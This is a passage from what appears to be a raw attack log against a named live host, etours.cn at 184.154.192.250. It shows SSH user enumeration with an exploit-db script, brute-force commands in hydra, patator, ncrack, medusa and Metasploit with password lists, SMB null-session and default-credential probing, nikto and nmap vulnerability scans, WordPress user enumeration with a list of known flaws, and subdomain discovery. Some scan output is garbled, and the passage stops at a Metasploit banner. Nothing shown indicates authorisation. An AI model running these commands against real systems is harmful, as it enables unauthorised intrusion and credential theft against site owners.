  3013. 15:03:18 patator INFO - Progress: 0.0% (0/1) | Speed: 10 r/s | ETC: 15:03:18 (00:00:00 remaining)
  3014. 15:03:18 patator INFO -
  3015. 15:03:18 patator INFO - code size time | candidate | num | mesg
  3016. 15:03:18 patator INFO - -----------------------------------------------------------------------------
  3017. 15:06:01 patator INFO - Hits/Done/Skip/Fail/Size: 0/3108/0/0/3108, Avg: 19 r/s, Time: 0h 2m 43s
  3018.  
  3019.  
  3020. SSH USERS ENUMERATION
  3021.  
  3022. root@blackbox:~# locate users | grep users.txt
  3023. /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  3024.  
  3025. msf5 > use auxiliary/scanner/ssh/ssh_enumusers
  3026. msf5 auxiliary(scanner/ssh/ssh_enumusers) > set action Timing Attack
  3027. msf5 auxiliary(scanner/ssh/ssh_enumusers) > set RHOSTS 84.154.192.250
  3028. msf5 auxiliary(scanner/ssh/ssh_enumusers) > set USER_FILE /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  3029. USER_FILE => /usr/share/sniper/plugins/BruteX/wordlists/simple-users.txt
  3030. msf5 auxiliary(scanner/ssh/ssh_enumusers) > run
  3031.  
  3032. SSH - User 'root' found
  3033.  
  3034. https://www.exploit-db.com/exploits/45210
  3035.  
  3036. root@blackbox:~/Downloads# python 45210.py --port 22 184.154.192.250 admin
  3037. root@blackbox:~/Downloads# python 45210.py --port 22 184.154.192.250 root
  3038.  
  3039.  
  3040. SSH BRUTE
  3041.  
  3042. use auxiliary/scanner/ssh/ssh_login
  3043. msf exploit (ssh_login)>set rhosts 184.154.192.250
  3044. msf exploit (ssh_login)>set user_file /root/Desktop/user.txt
  3045. msf exploit (ssh_login)>set pass_file /root/Desktop/pass.txt
  3046. msf exploit (ssh_login)>exploit
  3047.  
  3048.  
  3049. hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /opt/SecLists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt ssh://184.154.192.250 -t 4
  3050.  
  3051. patator ssh_login host=184.154.192.250 user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
  3052.  
  3053. ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt 184.154.192.250:22
  3054.  
  3055. medusa -h 184.154.192.250 -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M ssh
  3056.  
  3057.  
  3058. usernames list
  3059. /opt/SecLists/Usernames/top-usernames-shortlist.txt
  3060.  
  3061. passwords list
  3062. /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt
  3063.  
  3064. passwords list combo
  3065. /opt/SecLists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt
  3066.  
  3067. root@blackbox:~# ssh_scan -t 184.154.192.250
  3068.  
  3069.  
  3070. SSH SCAN
  3071.  
  3072. root@blackbox:/opt/smbmap# ssh_scan -t 184.154.192.250
  3073. [
  3074. {
  3075. "ssh_scan_version": "0.0.42",
  3076. "ip": "184.154.192.250",
  3077. "hostname": "server.etours.cn",
  3078. "port": 22,
  3079. "server_banner": "SSH-2.0-OpenSSH_4.3",
  3080. "ssh_version": 2.0,
  3081. "os": "unknown",
  3082. "os_cpe": "o:unknown",
  3083. "ssh_lib": "openssh",
  3084. "ssh_lib_cpe": "a:openssh:openssh:4.3",
  3085. "key_algorithms": [
  3086. "diffie-hellman-group-exchange-sha1",
  3087. "diffie-hellman-group14-sha1",
  3088. "diffie-hellman-group1-sha1"
  3089. ],
  3090. "encryption_algorithms_client_to_server": [
  3091. "aes128-ctr",
  3092. "aes192-ctr",
  3093. "aes256-ctr",
  3094. "arcfour256",
  3095. "arcfour128",
  3096. "aes128-cbc",
  3097. "3des-cbc",
  3098. "blowfish-cbc",
  3099. "cast128-cbc",
  3100. "aes192-cbc",
  3101. "aes256-cbc",
  3102. "arcfour",
  3103. "[email protected]"
  3104. ],
  3105. "encryption_algorithms_server_to_client": [
  3106. "aes128-ctr",
  3107. "aes192-ctr",
  3108. "aes256-ctr",
  3109. "arcfour256",
  3110. "arcfour128",
  3111. "aes128-cbc",
  3112. "3des-cbc",
  3113. "blowfish-cbc",
  3114. "cast128-cbc",
  3115. "aes192-cbc",
  3116. "aes256-cbc",
  3117. "arcfour",
  3118. "[email protected]"
  3119. ],
  3120. "mac_algorithms_client_to_server": [
  3121. "hmac-md5",
  3122. "hmac-sha1",
  3123. "hmac-ripemd160",
  3124. "[email protected]",
  3125. "hmac-sha1-96",
  3126. "hmac-md5-96"
  3127. ],
  3128. "mac_algorithms_server_to_client": [
  3129. "hmac-md5",
  3130. "hmac-sha1",
  3131. "hmac-ripemd160",
  3132. "[email protected]",
  3133. "hmac-sha1-96",
  3134. "hmac-md5-96"
  3135. ],
  3136. "compression_algorithms_client_to_server": [
  3137. "none",
  3138. "[email protected]"
  3139. ],
  3140. "compression_algorithms_server_to_client": [
  3141. "none",
  3142. "[email protected]"
  3143. ],
  3144. "languages_client_to_server": [
  3145.  
  3146. ],
  3147. "languages_server_to_client": [
  3148.  
  3149. ],
  3150. "auth_methods": [
  3151. "publickey",
  3152. "gssapi-with-mic",
  3153. "password"
  3154. ],
  3155. "keys": {
  3156. "rsa": {
  3157. "raw": "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA7KnYh43OYzJfoqtaHDqyUUbN3AkmyU4UhmHokahcHmg5okzEqkYX6IzLepxU1UgFFCaOMozBF/fU0iibocOidKZZST/13CvcRtaHXCwtZEFii+9NopBk08q7tCu0N6lv1IZKHWvBdIKalwzHpnwYntpvmPR3Y7tfHtxWpF/lh7TGCzdah1aeuET1P8hp7dGjkt6f07pbf/j/8CjMDp4DLVxRCdSL9DlZuqMYi0qZMk9g99YCorkQDUO20lHL89zzUXiDBEpEKVsrf9JFMb4/MRLaDQ8sVoBqPQRuFYFQaNgWkHs88OrtdV3MpMhaRxLcGcHtkzeAlc5OTAodzWgwxw==",
  3158. "length": 2048,
  3159. "fingerprints": {
  3160. "md5": "48:4f:ba:b1:e8:ae:12:ee:2b:e9:38:87:93:38:5c:4d",
  3161. "sha1": "0d:13:d6:24:42:42:85:97:36:3c:b4:57:c9:83:57:0c:12:73:4f:a2",
  3162. "sha256": "a8:0b:2f:13:a4:dd:f2:00:4f:ad:65:e7:18:70:d5:66:60:eb:34:0b:69:f0:b4:d6:b7:0a:03:01:37:56:f5:d9"
  3163. }
  3164. }
  3165. },
  3166. "dns_keys": [
  3167.  
  3168. ],
  3169. "duplicate_host_key_ips": [
  3170.  
  3171. ],
  3172. "compliance": {
  3173. "policy": "Mozilla Modern",
  3174. "compliant": false,
  3175. "recommendations": [
  3176. "Add these key exchange algorithms: [email protected],ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group-exchange-sha256",
  3177. "Add these MAC algorithms: [email protected],[email protected],[email protected],hmac-sha2-512,hmac-sha2-256,[email protected]",
  3178. "Add these encryption ciphers: [email protected],[email protected],[email protected]",
  3179. "Remove these key exchange algorithms: diffie-hellman-group-exchange-sha1, diffie-hellman-group14-sha1, diffie-hellman-group1-sha1",
  3180. "Remove these MAC algorithms: hmac-md5, hmac-sha1, hmac-ripemd160, [email protected], hmac-sha1-96, hmac-md5-96",
  3181. "Remove these encryption ciphers: arcfour256, arcfour128, aes128-cbc, 3des-cbc, blowfish-cbc, cast128-cbc, aes192-cbc, aes256-cbc, arcfour, [email protected]",
  3182. "Remove these authentication methods: gssapi-with-mic, password"
  3183. ],
  3184. "references": [
  3185. "https://wiki.mozilla.org/Security/Guidelines/OpenSSH"
  3186. ],
  3187. "grade": "F"
  3188. },
  3189. "start_time": "2020-01-22 15:10:54 -0600",
  3190. "end_time": "2020-01-22 15:10:57 -0600",
  3191. "scan_duration_seconds": 3.036491516
  3192. }
  3193. ]
  3194.  
  3195.  
  3196. SMB CHECK
  3197.  
  3198.  
  3199. root@blackbox:/opt# git clone https://github.com/ShawnDEvans/smbmap.git
  3200. root@blackbox:/opt# cd smbmap/
  3201. root@blackbox:/opt/smbmap# python3 -m pip install -r requirements.txt
  3202.  
  3203. root@blackbox:/opt/smbmap# python3 smbmap.py -u admin -p admin -d workgroup -H 184.154.192.250
  3204.  
  3205. root@blackbox:/opt/smbmap# python3 smbmap.py -u guest -p "" -H 184.154.192.250
  3206.  
  3207. Using null session
  3208.  
  3209. root@blackbox:/opt/smbmap# python3 smbmap.py -H 184.154.192.250 -r
  3210.  
  3211. Guest Session with port specified for Samba
  3212.  
  3213. root@blackbox:/opt/smbmap# python3 smbmap.py -u "" -p "" -H 184.154.192.250 -P 139
  3214.  
  3215. root@blackbox:/opt/smbmap# python3 smbmap.py -u administrator -p administrator -H 184.154.192.250
  3216.  
  3217.  
  3218. root@blackbox:/opt/smbmap# nmap --script smb-vuln* -p 137,139,443,80,22,21 184.154.192.250 --open
  3219. Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-22 15:08 CST
  3220. Nmap scan report for server.etours.cn (184.154.192.250)
  3221. Host is up (0.081s latency).
  3222. Not shown: 2 closed ports
  3223. PORT STATE SERVICE
  3224. 21/tcp open ftp
  3225. 22/tcp open ssh
  3226. 80/tcp open http
  3227. 443/tcp open https
  3228.  
  3229. Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds
  3230.  
  3231. NIKTO CHECK
  3232.  
  3233. root@blackbox:/opt# nikto -h etours.cn -C all
  3234. - Nikto v2.1.6
  3235. ---------------------------------------------------------------------------
  3236. + Target IP: 184.154.192.250
  3237. + Target Hostname: etours.cn
  3238. + Target Port: 80
  3239. + Start Time: 2020-01-23 03:57:53 (GMT-6)
  3240. ---------------------------------------------------------------------------
  3241. + Server: Apache
  3242. + The anti-clickjacking X-Frame-Options header is not present.
  3243. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
  3244. + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
  3245. + Root page / redirects to: http://www.etours.cn/
  3246. + Retrieved x-powered-by header: PleskLin
  3247. + Server may leak inodes via ETags, header found with file /6BsxYMU7.pl, inode: 20758719, size: 954, mtime: Wed Sep 14 18:10:28 2011
  3248. + Uncommon header 'link' found, with contents: <http://www.etours.cn/blog/wp-json/>; rel="https://api.w.org/"
  3249. + OSVDB-3092: /cgi-bin/test/test.cgi: This might be interesting...
  3250. + OSVDB-3268: /icons/: Directory indexing found.
  3251. + OSVDB-3233: /icons/README: Apache default file found.
  3252. + 26400 requests: 0 error(s) and 9 item(s) reported on remote host
  3253. + End Time: 2020-01-23 06:12:41 (GMT-6) (8088 seconds)
  3254. ---------------------------------------------------------------------------
  3255. + 1 host(s) tested
  3256.  
  3257.  
  3258.  
  3259. http://www.etours.cn/blog/wp-json/
  3260.  
  3261. root@blackbox:/opt# git clone https://github.com/wpscanteam/wpscan.git
  3262. root@blackbox:/opt# cd wpscan
  3263. root@blackbox:/opt/wpscan# gem install wpscan
  3264.  
  3265.  
  3266. root@blackbox:/opt/wpscan# nano ~/.wpscan/scan.yml
  3267.  
  3268. cli_options:
  3269. api_token:
  3270.  
  3271. root@blackbox:/opt/wpscan# wpscan --url http://www.etours.cn/blog/ --enumerate u1-100
  3272. _______________________________________________________________
  3273. __ _______ _____
  3274. \ \ / / __ \ / ____|
  3275. \ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
  3276. \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
  3277. \ /\ / | | ____) | (__| (_| | | | |
  3278. \/ \/ |_| |_____/ \___|\__,_|_| |_|
  3279.  
  3280. WordPress Security Scanner by the WPScan Team
  3281. Version 3.7.7
  3282. Sponsored by Automattic - https://automattic.com/
  3283. @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
  3284. _______________________________________________________________
  3285.  
  3286. [+] URL: http://www.etours.cn/blog/
  3287. [+] Started: Wed Jan 22 16:15:53 2020
  3288.  
  3289. Interesting Finding(s):
  3290.  
  3291. [+] http://www.etours.cn/blog/
  3292. | Interesting Entries:
  3293. | - Server: Apache
  3294. | - X-Powered-By: PleskLin
  3295. | Found By: Headers (Passive Detection)
  3296. | Confidence: 100%
  3297.  
  3298. [+] http://www.etours.cn/blog/xmlrpc.php
  3299. | Found By: Link Tag (Passive Detection)
  3300. | Confidence: 100%
  3301. | Confirmed By: Direct Access (Aggressive Detection), 100% confidence
  3302. | References:
  3303. | - http://codex.wordpress.org/XML-RPC_Pingback_API
  3304. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
  3305. | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
  3306. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
  3307. | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
  3308.  
  3309. [+] http://www.etours.cn/blog/readme.html
  3310. | Found By: Direct Access (Aggressive Detection)
  3311. | Confidence: 100%
  3312.  
  3313. [+] http://www.etours.cn/blog/wp-cron.php
  3314. | Found By: Direct Access (Aggressive Detection)
  3315. | Confidence: 60%
  3316. | References:
  3317. | - https://www.iplocation.net/defend-wordpress-from-ddos
  3318. | - https://github.com/wpscanteam/wpscan/issues/1299
  3319.  
  3320. [+] WordPress version 5.1.1 identified (Insecure, released on 2019-03-13).
  3321. | Found By: Rss Generator (Passive Detection)
  3322. | - http://www.etours.cn/blog/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
  3323. | - http://www.etours.cn/blog/comments/feed/, <generator>https://wordpress.org/?v=5.1.1</generator>
  3324. |
  3325. | [!] 12 vulnerabilities identified:
  3326. |
  3327. | [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
  3328. | Fixed in: 5.1.2
  3329. | References:
  3330. | - https://wpvulndb.com/vulnerabilities/9867
  3331. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
  3332. | - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
  3333. | - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
  3334. | - https://hackerone.com/reports/339483
  3335. |
  3336. | [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
  3337. | Fixed in: 5.1.2
  3338. | References:
  3339. | - https://wpvulndb.com/vulnerabilities/9864
  3340. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
  3341. | - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
  3342. | - https://fortiguard.com/zeroday/FG-VD-18-165
  3343. | - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
  3344. |
  3345. | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
  3346. | Fixed in: 5.1.3
  3347. | References:
  3348. | - https://wpvulndb.com/vulnerabilities/9908
  3349. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
  3350. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3351. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3352. |
  3353. | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
  3354. | Fixed in: 5.1.3
  3355. | References:
  3356. | - https://wpvulndb.com/vulnerabilities/9909
  3357. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
  3358. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3359. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3360. | - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
  3361. | - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
  3362. |
  3363. | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
  3364. | Fixed in: 5.1.3
  3365. | References:
  3366. | - https://wpvulndb.com/vulnerabilities/9910
  3367. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
  3368. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3369. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3370. |
  3371. | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
  3372. | Fixed in: 5.1.3
  3373. | References:
  3374. | - https://wpvulndb.com/vulnerabilities/9911
  3375. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
  3376. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3377. | - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
  3378. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3379. |
  3380. | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
  3381. | Fixed in: 5.1.3
  3382. | References:
  3383. | - https://wpvulndb.com/vulnerabilities/9912
  3384. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
  3385. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
  3386. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3387. | - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
  3388. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3389. |
  3390. | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
  3391. | Fixed in: 5.1.3
  3392. | References:
  3393. | - https://wpvulndb.com/vulnerabilities/9913
  3394. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
  3395. | - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
  3396. | - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
  3397. | - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
  3398. |
  3399. | [!] Title: WordPress <= 5.3 - Improper Access Controls in REST API
  3400. | Fixed in: 5.1.4
  3401. | References:
  3402. | - https://wpvulndb.com/vulnerabilities/9973
  3403. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
  3404. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
  3405. | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
  3406. | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
  3407. |
  3408. | [!] Title: WordPress <= 5.3 - Stored XSS via Crafted Links
  3409. | Fixed in: 5.1.4
  3410. | References:
  3411. | - https://wpvulndb.com/vulnerabilities/9975
  3412. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20042
  3413. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
  3414. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
  3415. | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
  3416. | - https://hackerone.com/reports/509930
  3417. | - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
  3418. | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
  3419. |
  3420. | [!] Title: WordPress <= 5.3 - Stored XSS via Block Editor Content
  3421. | Fixed in: 5.1.4
  3422. | References:
  3423. | - https://wpvulndb.com/vulnerabilities/9976
  3424. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
  3425. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
  3426. | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
  3427. | - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
  3428. |
  3429. | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
  3430. | Fixed in: 5.1.4
  3431. | References:
  3432. | - https://wpvulndb.com/vulnerabilities/10004
  3433. | - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
  3434. | - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
  3435. | - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
  3436.  
  3437. [+] WordPress theme in use: twentyeleven
  3438. | Location: http://www.etours.cn/blog/wp-content/themes/twentyeleven/
  3439. | Last Updated: 2019-05-07T00:00:00.000Z
  3440. | Readme: http://www.etours.cn/blog/wp-content/themes/twentyeleven/readme.txt
  3441. | [!] The version is out of date, the latest version is 3.3
  3442. | Style URL: http://www.etours.cn/blog/wp-content/themes/twentyeleven/style.css
  3443. | Style Name: Twenty Eleven
  3444. | Style URI: http://wordpress.org/extend/themes/twentyeleven
  3445. | Description: The 2011 theme for WordPress is sophisticated, lightweight, and adaptable. Make it yours with a cust...
  3446. | Author: the WordPress team
  3447. | Author URI: http://wordpress.org/
  3448. |
  3449. | Found By: Css Style In Homepage (Passive Detection)
  3450. | Confirmed By: Css Style In 404 Page (Passive Detection)
  3451. |
  3452. | Version: 1.2 (80% confidence)
  3453. | Found By: Style (Passive Detection)
  3454. | - http://www.etours.cn/blog/wp-content/themes/twentyeleven/style.css, Match: 'Version: 1.2'
  3455.  
  3456. [+] Enumerating Users (via Passive and Aggressive Methods)
  3457. Brute Forcing Author IDs - Time: 00:00:18 <==============================================================================================================> (100 / 100) 100.00% Time: 00:00:18
  3458.  
  3459. [i] User(s) Identified:
  3460.  
  3461. [+] admin
  3462. | Found By: Author Posts - Author Pattern (Passive Detection)
  3463. | Confirmed By:
  3464. | Rss Generator (Passive Detection)
  3465. | Wp Json Api (Aggressive Detection)
  3466. | - http://www.etours.cn/blog/wp-json/wp/v2/users/?per_page=100&page=1
  3467. | Rss Generator (Aggressive Detection)
  3468. | Author Id Brute Forcing - Author Pattern (Aggressive Detection)
  3469. | Login Error Messages (Aggressive Detection)
  3470.  
  3471. [+] WPVulnDB API OK
  3472. | Plan: free
  3473. | Requests Done (during the scan): 2
  3474. | Requests Remaining: 48
  3475.  
  3476. [+] Finished: Wed Jan 22 16:16:42 2020
  3477. [+] Requests Done: 140
  3478. [+] Cached Requests: 7
  3479. [+] Data Sent: 32.334 KB
  3480. [+] Data Received: 488.05 KB
  3481. [+] Memory used: 138.605 MB
  3482. [+] Elapsed time: 00:00:48
  3483.  
  3484.  
  3485. http://www.etours.cn/blog/phpinfo.php
  3486.  
  3487. Proudly powered by WordPress
  3488.  
  3489. http://www.etours.cn/blog/wp-login.php
  3490.  
  3491.  
  3492. http://www.etours.cn/blog/
  3493. http://www.etours.cn/blog/xmlrpc.php
  3494. http://www.etours.cn/blog/readme.html
  3495. http://www.etours.cn/blog/wp-cron.php
  3496. http://www.etours.cn/blog/wp-content/themes/twentyeleven/
  3497. http://www.etours.cn/blog/wp-json/wp/v2/users/?per_page=100&page=1
  3498.  
  3499.  
  3500.  
  3501. SUBDOMAIN SCAN USING KNOCK
  3502.  
  3503.  
  3504. root@blackbox:/# cd /opt/
  3505. root@blackbox:/opt# apt-get install python-dnspython
  3506. root@blackbox:/opt# git clone https://github.com/guelfoweb/knock.git
  3507. root@blackbox:/opt# cd knock
  3508. root@blackbox:/opt/knock# leafpad knockpy/config.json
  3509.  
  3510. INSERT YOUR VIRUS TOTAL API KEY
  3511.  
  3512. root@blackbox:/opt/knock# python setup.py install
  3513.  
  3514.  
  3515. root@blackbox:/opt/knock# knockpy etours.cn
  3516.  
  3517. _ __ _
  3518. | |/ / | | 4.1.1
  3519. | ' / _ __ ___ ___| | ___ __ _ _
  3520. | < | '_ \ / _ \ / __| |/ / '_ \| | | |
  3521. | . \| | | | (_) | (__| <| |_) | |_| |
  3522. |_|\_\_| |_|\___/ \___|_|\_\ .__/ \__, |
  3523. | | __/ |
  3524. |_| |___/
  3525.  
  3526. + checking for virustotal subdomains: YES
  3527. [
  3528. "www.etours.cn",
  3529. "mail.etours.cn",
  3530. "beijing.etours.cn"
  3531. ]
  3532. + checking for wildcard: NO
  3533. + checking for zonetransfer: NO
  3534. + resolving target: YES
  3535. - scanning for subdomain...
  3536.  
  3537. Ip Address Status Type Domain Name Server
  3538. ---------- ------ ---- ----------- ------
  3539. 184.154.192.250 200 host beijing.etours.cn Apache
  3540. 184.154.192.250 200 host dns.etours.cn Apache
  3541. 184.154.192.250 200 host ftp.etours.cn Apache
  3542. 184.154.192.250 200 host mail.etours.cn Apache
  3543. 184.154.192.250 302 host webmail.etours.cn Apache
  3544. 184.154.192.250 200 host www.etours.cn Apache
  3545.  
  3546.  
  3547. Check zone transfer for domain name
  3548.  
  3549. root@blackbox:/opt/knock# knockpy -r etours.cn
  3550.  
  3551. _ __ _
  3552. | |/ / | | 4.1.1
  3553. | ' / _ __ ___ ___| | ___ __ _ _
  3554. | < | '_ \ / _ \ / __| |/ / '_ \| | | |
  3555. | . \| | | | (_) | (__| <| |_) | |_| |
  3556. |_|\_\_| |_|\___/ \___|_|\_\ .__/ \__, |
  3557. | | __/ |
  3558. |_| |___/
  3559.  
  3560. + checking for virustotal subdomains: YES
  3561. [
  3562. "www.etours.cn",
  3563. "mail.etours.cn",
  3564. "beijing.etours.cn"
  3565. ]
  3566. + checking for wildcard: NO
  3567. + checking for zonetransfer: NO
  3568. + resolving target: YES
  3569. {
  3570. "zonetransfer": {
  3571. "enabled": false,
  3572. "list": []
  3573. },
  3574. "target": "etours.cn",
  3575. "hostname": "etours.cn",
  3576. "virustotal": [
  3577. "www.etours.cn",
  3578. "mail.etours.cn",
  3579. "beijing.etours.cn"
  3580. ],
  3581. "alias": [],
  3582. "wildcard": {
  3583. "detected": {},
  3584. "test_target": "flvckazhp.etours.cn",
  3585. "enabled": false,
  3586. "http_response": {}
  3587. },
  3588. "ipaddress": [
  3589. "184.154.192.250"
  3590. ],
  3591. "response_time": "0.484440803528",
  3592. "http_response": {
  3593. "status": {
  3594. "reason": "Moved Permanently",
  3595. "code": 301
  3596. },
  3597. "http_headers": {
  3598. "date": "Wed, 22 Jan 2020 21:40:37 GMT",
  3599. "connection": "close",
  3600. "content-type": "text/html; charset=iso-8859-1",
  3601. "location": "http://www.etours.cn/",
  3602. "server": "Apache"
  3603. }
  3604. }
  3605. }
  3606.  
  3607.  
  3608.  
  3609. root@blackbox:/opt/knock# knockpy 184.154.192.250
  3610.  
  3611. _ __ _
  3612. | |/ / | | 4.1.1
  3613. | ' / _ __ ___ ___| | ___ __ _ _
  3614. | < | '_ \ / _ \ / __| |/ / '_ \| | | |
  3615. | . \| | | | (_) | (__| <| |_) | |_| |
  3616. |_|\_\_| |_|\___/ \___|_|\_\ .__/ \__, |
  3617. | | __/ |
  3618. |_| |___/
  3619.  
  3620. + checking for virustotal subdomains: NO
  3621. + checking for wildcard: NO
  3622. + checking for zonetransfer: NO
  3623. + resolving target: YES
  3624. - scanning for subdomain...
  3625.  
  3626. Ip Address Status Type Domain Name Server
  3627. ---------- ------ ---- ----------- ------
  3628.  
  3629.  
  3630. knockpy etours.cn
  3631.  
  3632. subdomain scan with external wordlist
  3633.  
  3634. root@blackbox:/opt/knock# locate subdomains.txt
  3635. /opt/SecLists/Discovery/DNS/shubs-subdomains.txt
  3636.  
  3637.  
  3638. root@blackbox:/opt/knock# knockpy etours.cn -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
  3639.  
  3640. _ __ _
  3641. | |/ / | | 4.1.1
  3642. | ' / _ __ ___ ___| | ___ __ _ _
  3643. | < | '_ \ / _ \ / __| |/ / '_ \| | | |
  3644. | . \| | | | (_) | (__| <| |_) | |_| |
  3645. |_|\_\_| |_|\___/ \___|_|\_\ .__/ \__, |
  3646. | | __/ |
  3647. |_| |___/
  3648.  
  3649. + checking for virustotal subdomains: YES
  3650. [
  3651. "www.etours.cn",
  3652. "mail.etours.cn",
  3653. "beijing.etours.cn"
  3654. ]
  3655. + checking for wildcard: NO
  3656. + checking for zonetransfer: NO
  3657. + resolving target: YES
  3658. - scanning for subdomain...
  3659.  
  3660. Ip Address Status Type Domain Name Server
  3661. ---------- ------ ---- ----------- ------
  3662. 184.154.192.250 200 host mbeijing.etours.cneuatmistir Apache
  3663. 184.154.192.250 200 host edns.etours.cnarelluraggyp.7236.nApache
  3664. 184.154.192.250 200 host aftp.etours.cnpa.977992.n3s10 Apache
  3665. 184.154.192.250 200 host 8mail.etours.cnneegrangese-lack.vApache
  3666. 184.154.192.250 302 host uwebmail.etours.cn-proxy-iossent Apache
  3667. 184.154.192.250 200 host nwww.etours.cnenor.en Apache
  3668.  
  3669.  
  3670. http://184.154.192.250:8880/login_up.php3
  3671. https://184.154.192.250:8443/login_up.php3
  3672.  
  3673.  
  3674.  
  3675. root@blackbox:~# gobuster dir -u 184.154.192.250 -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt
  3676.  
  3677.  
  3678. root@blackbox:~# systemctl status postgresql.service
  3679.  
  3680. USE METASPLOIT
  3681.  
  3682.  
  3683. root@blackbox:~# cd /opt/metasploit-framework/
  3684.  
  3685. root@blackbox:/opt/metasploit-framework# su postgres
  3686. postgres@blackbox:/opt/metasploit-framework$ createuser msf_user -P
  3687. Enter password for new role: msf
  3688. Enter it again: msf
  3689. postgres@blackbox:/opt/metasploit-framework$ createdb --owner=msf_user msf_database
  3690. postgres@blackbox:/opt/metasploit-framework$ msfconsole
  3691.  
  3692. postgres@blackbox:/opt/metasploit-framework$ msfconsole
  3693.  
  3694. IIIIII dTb.dTb _.---._
